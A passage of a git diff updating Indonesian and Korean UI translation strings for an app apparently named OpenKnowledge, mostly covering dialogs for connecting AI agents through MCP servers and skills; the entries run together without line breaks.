src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsx@@ -7942,12 +8036,9 @@ msgstr "Jumlah agen yang berjalan sudah maksimal"msgid "MCP auto-repair failed"msgstr "Perbaikan otomatis MCP gagal"-#. Group label above the per-editor MCP list in Settings → AI tools & CLI — each row wires OpenKnowledge's MCP server into that tool-#. Group label above the per-editor project MCP list in Settings → This project → AI tools-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "MCP connections"-msgstr "Koneksi MCP"+#: src/lib/install-onboarding-toast.ts+msgid "MCP auto-repair failed for {failures}"+msgstr "Perbaikan otomatis MCP gagal untuk {failures}"#: src/components/SkillPluginBundleBanner.tsxmsgid "MCP servers"@@ -8064,6 +8155,10 @@ msgstr "Ubah tujuan tautan, jangkar, dan label tampilannya."msgid "More"msgstr "Lainnya"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "More information"+msgstr "Informasi selengkapnya"+#: src/editor/components/PreviewBlockedNotice.tsxmsgid "More requests were blocked."msgstr "Lebih banyak permintaan diblokir."@@ -8533,7 +8628,7 @@ msgstr "Belum ada agen yang disiapkan — pilih satu dari menu kirim."msgid "no agents — saved, not installed anywhere"msgstr "tanpa agen — disimpan, tidak dipasang di mana pun"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents available."msgstr "Tidak ada agen yang tersedia."@@ -8542,7 +8637,7 @@ msgstr "Tidak ada agen yang tersedia."msgid "No agents enabled"msgstr "Tidak ada agen yang diaktifkan"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents match your search."msgstr "Tidak ada agen yang cocok dengan pencarian Anda."@@ -8906,11 +9001,12 @@ msgstr "Belum dijawab"msgid "Not attached to desktop bridge"msgstr "Tidak terhubung ke bridge desktop"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not available on this platform"msgstr "Tidak tersedia di platform ini"#: src/components/settings/AccountSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not connected"msgstr "Tidak terhubung"@@ -8918,6 +9014,10 @@ msgstr "Tidak terhubung"msgid "Not connected to GitHub."msgstr "Tidak terhubung ke GitHub."+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Not detected on this machine"+msgstr "Tidak terdeteksi di mesin ini"+#: src/components/FeedbackForm.tsxmsgid "Not great"msgstr "Kurang bagus"@@ -8928,7 +9028,7 @@ msgstr "Tidak ada di bilah sisi"#: src/components/CommandPalette.tsx#: src/components/handoff/OpenInAgentMenuItem.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not installed"msgstr "Belum terpasang"@@ -9061,15 +9161,15 @@ msgstr "Pada teks terpilih di <0>{address}</0>"msgid "On the root index, okf_version is written as a quoted string like \"0.2\". Unquoted, YAML reads it as a number and 0.10 silently becomes 0.1."msgstr "Pada indeks root, okf_version ditulis sebagai string yang dikutip seperti \"0.2\". Tanpa tanda kutip, YAML membacanya sebagai angka dan 0.10 diam-diam menjadi 0.1."-#. Next step for a Cursor project MCP row — Cursor leaves project servers disabled-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: enable it in Cursor → Settings → Tools & MCP (Cursor leaves project servers off until you turn them on)."-msgstr "Satu langkah lagi: aktifkan di Cursor → Settings → Tools & MCP (Cursor membiarkan server proyek mati sampai Anda menyalakannya)."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.enable-manually"+msgstr "Satu langkah lagi: aktifkan di {agent} → Settings → Tools & MCP ({agent} membiarkan server proyek mati sampai Anda menyalakannya)."-#. Next step for a Claude Code project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: run <0>claude</0> in this project and approve OpenKnowledge once."-msgstr "Satu langkah lagi: jalankan <0>claude</0> di proyek ini dan setujui OpenKnowledge sekali."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.approve-once"+msgstr "Satu langkah lagi: jalankan {agent} di proyek ini dan setujui OpenKnowledge sekali."#: src/components/ConsentDialogBody.tsxmsgid "One pattern per line — appended to <0>.okignore</0>."@@ -9160,10 +9260,6 @@ msgstr "Buka proyek terlebih dahulu."msgid "Open a project to edit."msgstr "Buka sebuah proyek untuk menyunting."-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Open a project to manage its AI tool connections."-msgstr "Buka sebuah proyek untuk mengelola koneksi alat AI-nya."-#: src/components/NavigatorApp.tsxmsgid "Open a single markdown file — no project setup."msgstr "Buka satu berkas markdown — tanpa penyiapan proyek."@@ -9502,6 +9598,10 @@ msgstr "OpenKnowledge memeriksa konflik"msgid "OpenKnowledge checked the project"msgstr "OpenKnowledge memeriksa proyek"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge could not find this agent on this machine."+msgstr "OpenKnowledge tidak menemukan agen ini di mesin ini."+#: src/components/TerminalPanel.tsxmsgid "OpenKnowledge couldn't read terminal.shell in .ok/local/config.yml. Using an available Windows shell instead."msgstr "OpenKnowledge tidak dapat membaca terminal.shell di .ok/local/config.yml. Shell Windows yang tersedia akan digunakan sebagai gantinya."@@ -9530,6 +9630,18 @@ msgstr "OpenKnowledge menghapus {subject}"msgid "OpenKnowledge deleted a document"msgstr "OpenKnowledge menghapus sebuah dokumen"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge discovery skill"+msgstr "Keterampilan penemuan OpenKnowledge"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry, and cannot safely replace it in this file's format."+msgstr "OpenKnowledge tidak mengenali entri ini, dan tidak dapat menggantinya dengan aman dalam format file ini."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry. Turning it on replaces it."+msgstr "OpenKnowledge tidak mengenali entri ini. Mengaktifkannya akan menggantinya."+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge edited {subject}"msgstr "OpenKnowledge menyunting {subject}"@@ -9574,6 +9686,10 @@ msgstr "OpenKnowledge memakai akun GitHub yang disediakan CLI gh. Tidak ada kredmsgid "OpenKnowledge is using this GitHub account."msgstr "OpenKnowledge memakai akun GitHub ini."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge left this file alone because it could not parse it safely. Fix the file by hand, then try again."+msgstr "OpenKnowledge tidak mengubah file ini karena tidak dapat mengurainya dengan aman. Perbaiki file secara manual, lalu coba lagi."+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge listed the installed skills"msgstr "OpenKnowledge menampilkan daftar keterampilan yang terpasang"@@ -10285,10 +10401,6 @@ msgstr "proyek"msgid "Project"msgstr "Proyek"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Project AI tool management is only available in the OpenKnowledge desktop app."-msgstr "Pengelolaan alat AI proyek hanya tersedia di aplikasi desktop OpenKnowledge."-#: src/components/CreateProjectDialog.tsxmsgid "Project details"msgstr "Detail proyek"@@ -10297,6 +10409,10 @@ msgstr "Detail proyek"msgid "Project folder created, but git init failed. Try again."msgstr "Folder proyek dibuat, tetapi git init gagal. Coba lagi."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project MCP server"+msgstr "Server MCP proyek"+#: src/components/CreateProjectDialog.tsxmsgid "Project name"msgstr "Nama proyek"@@ -10310,6 +10426,10 @@ msgstr "Plugin proyek adalah standar penulisan proyek Anda — nyalakan atau matmsgid "Project root"msgstr "Akar proyek"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project skill"+msgstr "Keterampilan proyek"+#: src/components/settings/ProjectTemplatesSection.tsxmsgid "Project templates"msgstr "Templat proyek"@@ -10464,6 +10584,21 @@ msgstr "Dikirim {pushed}"msgid "Pushing"msgstr "Melakukan push"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.user"+msgstr "Menempatkan keterampilan penemuan OpenKnowledge di folder keterampilan global {agent}, sehingga ia dapat menemukan OpenKnowledge di proyek mana pun."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.project"+msgstr "Menempatkan keterampilan OpenKnowledge di folder keterampilan {agent} untuk proyek ini, sehingga suntingannya tetap teratribusi."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.central-store"+msgstr "Menempatkan keterampilan OpenKnowledge di penyimpanan keterampilan pusat yang dibaca {agent}."+#: src/components/acp/working-status.tsmsgid "Puzzling…"msgstr "Memecahkan teka-teki…"@@ -10582,6 +10717,10 @@ msgstr "Proyek terbaru"msgid "Recently opened"msgstr "Baru saja dibuka"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Recommended"+msgstr "Direkomendasikan"+#: src/components/settings/LintingSection.tsxmsgid "Recommended agent skill"msgstr "Keterampilan agen yang direkomendasikan"@@ -10717,6 +10856,8 @@ msgstr "Kontrol jarak jauh"msgid "Remote skill source"msgstr "Sumber keterampilan remote"+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/editor/extensions/InternalLinkPropPanel.tsx#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Remove"@@ -10757,6 +10898,10 @@ msgstr "Hapus {patternText}"msgid "Remove {projectName} from recent projects"msgstr "Hapus {projectName} dari proyek terbaru"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Remove {rowLabel}"+msgstr "Hapus {rowLabel}"+#: src/components/ui/tag-pill-input.tsxmsgid "Remove {tag}"msgstr "Hapus {tag}"@@ -10769,6 +10914,10 @@ msgstr "Gagal menghapus: {error}"msgid "Remove field {field}"msgstr "Hapus bidang {field}"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove for both"+msgstr "Hapus untuk keduanya"+#: src/components/NavigatorApp.tsx#: src/components/recent-remove-controls.tsxmsgid "Remove from recent projects"@@ -10788,6 +10937,15 @@ msgstr "Hapus tautan"msgid "Remove OpenKnowledge from {0}"msgstr "Hapus OpenKnowledge dari {0}"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge from {0}?"+msgstr "Hapus OpenKnowledge dari {0}?"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge?"+msgstr "Hapus OpenKnowledge?"+#: src/components/TemplateForm.tsxmsgid "Remove property"msgstr "Hapus properti"@@ -10931,7 +11089,7 @@ msgid "Reopening \"{docName}\" with a fresh local collaboration cache."msgstr "Membuka lagi \"{docName}\" dengan cache kolaborasi lokal yang baru."#: src/lib/install-onboarding-toast.ts-msgid "repaired {names} MCP integration"+msgid "repaired MCP integration for {names}"msgstr "integrasi MCP {names} diperbaiki"#: src/editor/find-replace/FindReplaceBar.tsx@@ -10947,6 +11105,10 @@ msgstr "Ganti {keyName}"msgid "Replace all matches"msgstr "Ganti semua kecocokan"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replace and save"+msgstr "Ganti dan simpan"+#: src/editor/find-replace/FindReplaceBar.tsxmsgid "Replace current match"msgstr "Ganti kecocokan saat ini"@@ -10979,6 +11141,10 @@ msgstr "Ganti salinan-salinan ini dengan symlink ke sumbernya?"msgid "Replace these symlinks with independent copies?"msgstr "Ganti symlink-symlink ini dengan salinan mandiri?"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replaces the existing \"open-knowledge\" entry in this file. Other servers in the file are left alone."+msgstr "Mengganti entri \"open-knowledge\" yang ada di file ini. Server lain dalam file ini tidak diubah."+#. placeholder {0}: formatToolList( replacing.map((e) => e.label), i18n.locale, )#: src/components/McpConsentDialogBody.tsxmsgid "Replaces the existing OpenKnowledge entry in {0}"@@ -11235,7 +11401,7 @@ msgstr "Mengambil…"#: src/components/ConnectingBanner.tsx#: src/components/handoff/useHandoffDispatch.ts#: src/components/PublishToGitHubDialog.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TrashFailureModal.tsxmsgid "Retry"msgstr "Coba lagi"@@ -11375,6 +11541,7 @@ msgstr "Sematan HTML tersekat — tulis HTML, lihat pratinjau terendernya secaramsgid "Save"msgstr "Simpan"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/editor/components/CodePreviewEditModal.tsxmsgid "Save changes"msgstr "Simpan perubahan"@@ -11425,6 +11592,7 @@ msgstr "Disimpan bersama proyek untuk tim Anda."msgid "Saves the file to <0>~/Downloads/openknowledge.skill</0> and opens the Claude Desktop App. Requires Node.js or Bun on your PATH."msgstr "Menyimpan berkasnya ke <0>~/Downloads/openknowledge.skill</0> dan membuka aplikasi Claude Desktop. Memerlukan Node.js atau Bun di PATH Anda."+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SearchSection.tsxmsgid "Saving"msgstr "Menyimpan"@@ -11478,7 +11646,7 @@ msgstr "Cari \"{semanticSubmitQuery}\" berdasarkan makna"msgid "Search ({searchShortcutLabel})"msgstr "Cari ({searchShortcutLabel})"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Search agents"msgstr "Cari agen"@@ -12062,8 +12230,7 @@ msgstr "Tampilkan {0} lagi"msgid "Show {hidden} more"msgstr "Tampilkan {hidden} lagi"-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show {hiddenCount} more"msgstr "Tampilkan {hiddenCount} lagi"@@ -12129,8 +12296,7 @@ msgid "Show in Explorer"msgstr "Tampilkan di Explorer"#: src/components/PackCardGrid.tsx-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show less"msgstr "Tampilkan lebih sedikit"@@ -12337,11 +12503,6 @@ msgstr "Keterampilan dari {0}/{1}."msgid "Skills from OpenKnowledge"msgstr "Keterampilan dari OpenKnowledge"-#. Points at the settings page that now owns skill install, in Settings → AI tools & CLI-#: src/components/settings/AiToolsSection.tsx-msgid "Skills moved to Skills Studio."-msgstr "Keterampilan dipindahkan ke Studio Keterampilan."-#: src/components/settings/SkillFolderLinkConfirmDialog.tsxmsgid "Skills reassigned"msgstr "Keterampilan dialihkan"@@ -12497,6 +12658,7 @@ msgstr "Ada yang tidak beres saat mengirim masukan Anda. Silakan coba lagi."msgid "Something went wrong starting the terminal."msgstr "Ada yang tidak beres saat memulai terminal."+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/SubscribeForm.tsxmsgid "Something went wrong. Please try again."msgstr "Ada yang tidak beres. Silakan coba lagi."@@ -13070,7 +13232,6 @@ msgstr "Templat"msgid "Templates available"msgstr "Templat tersedia"-#. Group label above the shell-PATH row in Settings → AI tools & CLI#. Section label above the shell-PATH toggle in the first-launch dialog#: src/components/CommandPalette.tsx#: src/components/empty-state/CreatePromptComposer.tsx@@ -13079,8 +13240,7 @@ msgstr "Templat tersedia"#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/settings/TerminalSection.tsx#: src/components/TerminalNewChatButton.tsx@@ -13208,6 +13368,11 @@ msgstr "Permintaan unduhan {0} kehabisan waktu."msgid "The {0} plugin serves these skills from its cache — OK never edits or updates them."msgstr "Plugin {0} menyajikan keterampilan ini dari cache-nya — OK tidak pernah mengedit atau memperbaruinya."+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.codex.desktop-project-config"+msgstr "Aplikasi desktop {agent} mengabaikan konfigurasi proyek ini; hanya CLI {agent} yang membacanya."+#: src/components/SkillForkDialog.tsxmsgid "The {editor} folder holds a different version of this skill. Pick which one wins, or keep both under different names. Whatever you replace is backed up first."msgstr "Folder {editor} memuat versi lain dari keterampilan ini. Pilih mana yang menang, atau simpan keduanya dengan nama berbeda. Apa pun yang Anda ganti dicadangkan lebih dulu."@@ -13448,6 +13613,14 @@ msgstr "Folder sumbernya sendiri tidak berpindah."msgid "The template's filename (without `.md`)."msgstr "Nama berkas templatnya (tanpa `.md`)."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so connecting either connects both."+msgstr "Baris terminal dan desktop untuk {label} berbagi satu pengaturan, jadi menghubungkan salah satu menghubungkan keduanya."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so removing it disconnects both."+msgstr "Baris terminal dan desktop untuk {label} berbagi satu pengaturan, jadi menghapusnya akan memutuskan keduanya."+#: src/components/TerminalGate.tsxmsgid "The terminal is turned off for this project. Turn it back on to run commands here."msgstr "Terminal dimatikan untuk proyek ini. Nyalakan lagi untuk menjalankan perintah di sini."@@ -13604,6 +13777,14 @@ msgstr "Agen ini tidak menawarkan perintah garis miring"msgid "This agent doesn't offer slash commands — your message will be sent as plain text"msgstr "Agen ini tidak menawarkan perintah garis miring — pesan Anda akan dikirim sebagai teks biasa"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent gives OpenKnowledge no way to set this up for you. Its setup guide has the manual steps."+msgstr "Agen ini tidak memberi OpenKnowledge cara untuk menyiapkannya untuk Anda. Panduan penyiapannya memuat langkah-langkah manual."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent has no file of this kind on this machine yet. Open the agent once, then check again."+msgstr "Agen ini belum memiliki file jenis ini di mesin ini. Buka agen sekali, lalu periksa lagi."+#: src/editor/composer-mention/ComposerSlashMenu.tsxmsgid "This agent hasn't announced its commands yet"msgstr "Agen ini belum mengumumkan perintahnya"@@ -13647,6 +13828,14 @@ msgstr "Komentar ini berlaku untuk seluruh properti"msgid "This conflict is resolved."msgstr "Konflik ini sudah diselesaikan."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This could not be set up because the MCP server entry it needs was not written."+msgstr "Ini tidak dapat disiapkan karena entri server MCP yang diperlukan tidak ditulis."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This deletes the MCP server entries and skill files listed below. The agent will lose access to your documents until you add it again."+msgstr "Tindakan ini menghapus entri server MCP dan file keterampilan yang tercantum di bawah. Agen akan kehilangan akses ke dokumen Anda sampai Anda menambahkannya lagi."+#: src/components/PanelScopeHeader.tsxmsgid "This doc"msgstr "Dokumen ini"@@ -13679,6 +13868,10 @@ msgstr "Dokumen ini telah dihapus"msgid "This endpoint ignored the vector size you configured. Remove <0>search.semantic.dimensions</0> to use the model's own size."msgstr "Endpoint ini mengabaikan ukuran vektor yang Anda atur. Hapus <0>search.semantic.dimensions</0> untuk memakai ukuran milik modelnya sendiri."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This entry changed after OpenKnowledge wrote it. Turning it on replaces it."+msgstr "Entri ini berubah setelah ditulis OpenKnowledge. Mengaktifkannya akan menggantinya."+#: src/components/settings/frontmatter-schema-field-editor.tsxmsgid "This field carries additional schema keywords the editor does not show — they are preserved on save."msgstr "Bidang ini membawa kata kunci skema tambahan yang tidak ditampilkan penyunting — semuanya dipertahankan saat disimpan."@@ -13731,6 +13924,10 @@ msgstr "Folder ini adalah klona dari {actualOwner}/{actualRepo}, bukan {expectedmsgid "This folder is a clone of {expectedOwner}/{expectedRepo} on {actualHost}, not {expectedHost}. Pick a folder cloned from {expectedHost}?"msgstr "Folder ini adalah klona dari {expectedOwner}/{expectedRepo} di {actualHost}, bukan {expectedHost}. Pilih folder yang diklona dari {expectedHost}?"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This folder is also {alsoAffects}'s."+msgstr "Folder ini juga milik {alsoAffects}."+#: src/components/FolderOverview.tsxmsgid "This folder is empty."msgstr "Folder ini kosong."@@ -13789,6 +13986,7 @@ msgstr "item ini"msgid "This looks like a drive root (e.g., C:\\). Scaffolding here will scan an entire drive."msgstr "Ini tampak seperti akar sebuah drive (mis. C:\\). Menyusun proyek di sini akan memindai seluruh drive."+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/ScopeBadge.tsx#: src/components/SkillScopeSegment.tsxmsgid "This machine"@@ -13814,6 +14012,10 @@ msgstr "Yang ini perlu melihat file Anda, bukan hanya dokumen yang terbuka, sehimsgid "This one teaches your AI tools how to work with OpenKnowledge. It lives in the project folder, so it installs for everyone who opens the project."msgstr "Yang ini mengajarkan alat AI Anda cara bekerja dengan OpenKnowledge. Keterampilan ini berada di folder proyek, jadi terpasang untuk semua orang yang membuka proyek."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This option cannot be changed automatically."+msgstr "Opsi ini tidak dapat diubah secara otomatis."+#: src/components/SeedDialog.tsxmsgid "This pack is already set up here."msgstr "Paket ini sudah disiapkan di sini."@@ -13869,6 +14071,7 @@ msgid "This permanently removes {path}. Agents that reference this template by nmsgstr "Ini menghapus {path} secara permanen. Agen yang merujuk templat ini berdasarkan nama akan gagal sampai ia dibuat ulang atau digantikan oleh templat di folder induk."#: src/components/PanelScopeHeader.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/SkillScopeSegment.tsxmsgid "This project"@@ -13917,11 +14120,6 @@ msgstr "Server proyek ini yang sedang berjalan tidak mendukung penyuntingan langmsgid "This project's server (v{0}) is newer than this app (v{1})."msgstr "Server proyek ini (v{0}) lebih baru daripada aplikasi ini (v{1})."-#. Points at the settings page that now owns the project skill, in Settings → This project → AI tools-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "This project's skill moved to Skills Studio."-msgstr "Keterampilan proyek ini dipindahkan ke Studio Keterampilan."-#: src/uninstall/UninstallPickerScreen.tsxmsgid "This removes OpenKnowledge’s settings and integrations from your Mac and any projects you select below, but keeps your markdown content and authored skills."msgstr "Ini menghapus pengaturan dan integrasi OpenKnowledge dari Mac Anda serta dari proyek mana pun yang Anda pilih di bawah, tetapi mempertahankan konten markdown dan keterampilan yang Anda tulis."@@ -13959,6 +14157,18 @@ msgstr "Pengaturan ini berlaku per komputer dan tidak dibagikan dengan kolaboratmsgid "This setting is per-machine and isn't shared with collaborators. It needs an API key (set below) unless your endpoint is a local server that doesn't require one."msgstr "Pengaturan ini berlaku per komputer dan tidak dibagikan dengan kolaborator. Ia memerlukan kunci API (setel di bawah) kecuali endpoint Anda adalah server lokal yang tidak memerlukannya."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers} through <0>{path}</0>. Removing it here removes it for {peers} too."+msgstr "Konfigurasi ini dibagikan dengan {peers} melalui <0>{path}</0>. Menghapusnya di sini juga menghapusnya untuk {peers}."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}, and OpenKnowledge cannot change it from here. Unlink the folder in Skills Studio first."+msgstr "Penyiapan ini dibagikan dengan {peers}, dan OpenKnowledge tidak dapat mengubahnya dari sini. Lepaskan tautan folder di Skills Studio terlebih dahulu."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}. Removing it here removes it for {peers} too."+msgstr "Konfigurasi ini dibagikan dengan {peers}. Menghapusnya di sini juga menghapusnya untuk {peers}."+#: src/components/ImportSkillForm.tsxmsgid "This source bundles several skills — choose one, then Import."msgstr "Sumber ini memuat beberapa keterampilan — pilih satu, lalu Impor."@@ -14279,7 +14489,6 @@ msgid "Type to find a doc"msgstr "Ketik untuk menemukan sebuah dokumen"#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsxmsgid "unavailable on this platform"msgstr "tidak tersedia di platform ini"@@ -14913,8 +15122,7 @@ msgstr "Apa yang harus dilakukan AI? (opsional)"msgid "What the agent may read, write, and surface."msgstr "Apa yang boleh dibaca, ditulis, dan ditampilkan agen."-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "What this checkbox changes"msgstr "Apa yang berubah karena kotak centang ini"@@ -14990,6 +15198,10 @@ msgstr "Siapa Anda, agar agennya punya konteks Anda."msgid "Whole word"msgstr "Kata utuh"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Why this needs attention"+msgstr "Mengapa ini perlu diperhatikan"+#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Wiki link"msgstr "Tautan wiki"@@ -15027,6 +15239,10 @@ msgstr "Jendela"msgid "Without a connected AI tool, the pack's {packSkillCount, plural, one {# skill} other {# skills}} won't be installed."msgstr "Tanpa alat AI yang terhubung, {packSkillCount, plural, one {# skill} other {# skill}} dari paket ini tidak akan dipasang."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Without the skill the agent still works, but it loses edit attribution and the live preview."+msgstr "Tanpa keterampilan ini agen tetap berfungsi, tetapi kehilangan atribusi suntingan dan pratinjau langsung."+#: src/components/settings/settings-fields.tsmsgid "Word wrap"msgstr "Bungkus baris"@@ -15074,6 +15290,11 @@ msgstr "Worktree"msgid "Wrap long lines in the markdown source editor."msgstr "Membungkus baris panjang di penyunting sumber markdown."+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.managed-file"+msgstr "Menulis berkas jembatan kecil yang dimuat {agent} dari proyek ini untuk menjangkau OpenKnowledge."+#: src/components/McpConsentDialogBody.tsxmsgid "Writes an entry to"msgstr "Menulis entri ke"@@ -15082,6 +15303,10 @@ msgstr "Menulis entri ke"msgid "writing"msgstr "menulis"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Writing this file failed. Check the OpenKnowledge log for the reason."+msgstr "Gagal menulis file ini. Periksa log OpenKnowledge untuk mengetahui alasannya."+#: src/components/acp/ThreadView.tsxmsgid "Wrote the Open Knowledge extension, but couldn't mark the folder trusted, so it won't load. This thread has no Open Knowledge tools."msgstr "Ekstensi Open Knowledge sudah ditulis, tetapi folder tidak bisa ditandai tepercaya, jadi ekstensi itu tidak akan dimuat. Utas ini tidak memiliki alat Open Knowledge."@@ -15229,6 +15454,10 @@ msgstr "Salinan cabang <0>{shareBranch}</0> milik Anda punya perubahan yang belumsgid "Your current version is saved first, so this is reversible."msgstr "Versi Anda saat ini disimpan lebih dulu, jadi ini bisa dikembalikan."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Your documents are not touched."+msgstr "Dokumen Anda tidak diubah."+#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsxmsgid "Your edits are committed and pushed to your remote automatically."diff --git a/packages/app/src/locales/ko/messages.json b/packages/app/src/locales/ko/messages.jsonindex 3733e3a79..47ac05e2f 100644--- a/packages/app/src/locales/ko/messages.json+++ b/packages/app/src/locales/ko/messages.json@@ -57,7 +57,6 @@"03wKPg": ["보고서는 원인을 찾는 데 도움이 됩니다. 검토할 때까지 아무것도 전송되지 않습니다."],"04JR6L": ["AI 도구 연결"],"04RA0-": ["동기화를 사용 설정하지 못했습니다. ", ["detail"]],- "04XyCH": [["0"], "에 관리 블록 추가"],"05F1GY": ["원문 삭제됨. 선택한 텍스트에 댓글 다시 배치 가능"],"05n5wS": ["문서 멘션 제안"],"06SZfb": ["템플릿 \"", ["trimmedTitle"], "\" 생성됨"],@@ -149,6 +148,7 @@"1DahsC": ["설정 검색"],"1EcCom": [["keyName"], " 값"],"1FLarN": ["계속하려면 만들려는 것을 설명하세요"],+ "1FXL-O": ["필요한 MCP 서버 항목이 기록되지 않아 설정할 수 없었습니다."],"1GhYxC": [["totalPages"], "페이지 중"],"1HBhDS": ["파일 체크아웃 중"],"1J0c0X": [["displayName"], " 연결 실패. 한 번 더 시도할까요?"],@@ -226,11 +226,16 @@"2YOwme": ["다시 시작했습니다. 현재 v", ["appRuntime"], "을 실행 중입니다."],"2YZwPB": ["포워드 링크 응답 형식이 예상과 일치하지 않습니다."],"2Yt22K": ["원본 숨기기"],+ "2gXnCO": ["전역 MCP 서버"],"2hYmUH": ["[email protected]"],"2hpdRq": ["패널 숨기기 (", ["panelShortcutLabel"], ")"],"2j1kfc": ["유효한 URL 입력, 예: https://api.openai.com/v1"],"2jUGEP": ["스킬 설치 횟수를 공개적으로 집계"],"2l293S": ["휴지통에서 이 파일을 복원할 수 있습니다."],+ "2lJAvH": [+ ["label"],+ "의 터미널 행과 데스크톱 행은 하나의 설정을 공유하므로, 이를 제거하면 둘 다 연결이 끊깁니다."+ ],"2m_bmh": [["label"], " (", ["0"], ")"],"2myNzt": ["팀에 전달하고 로그를 첨부했습니다."],"2n3oDU": [@@ -315,6 +320,9 @@"3l_cXP": ["원한다면 확인해 보세요. 수신하는 정확한 파일입니다."],"3m2GBo": ["문서 검색 중"],"3mFsc3": ["원격 변경 사항과 함께 복원"],+ "3n7lnE": [+ "이 에이전트에는 아직 이 컴퓨터에 해당 종류의 파일이 없습니다. 에이전트를 한 번 실행한 뒤 다시 확인하세요."+ ],"3nICSW": ["<0>",["toolList"],@@ -343,6 +351,13 @@"49Mb7P": ["Slidev가 설치되어 있는지 확인하지 못했습니다. 이 창으로 돌아와 다시 시도합니다."],"4A3Yzu": ["코드 블록"],"4BITzH": ["오류:"],+ "4C2RCg": [+ "이 설정은 ",+ ["peers"],+ "와(과) 공유됩니다. 여기서 제거하면 ",+ ["peers"],+ "에서도 제거됩니다."+ ],"4CfgPM": ["프로젝트 폴더는 생성되었지만 git init에 실패했습니다. 다시 시도하세요."],"4E9jPa": 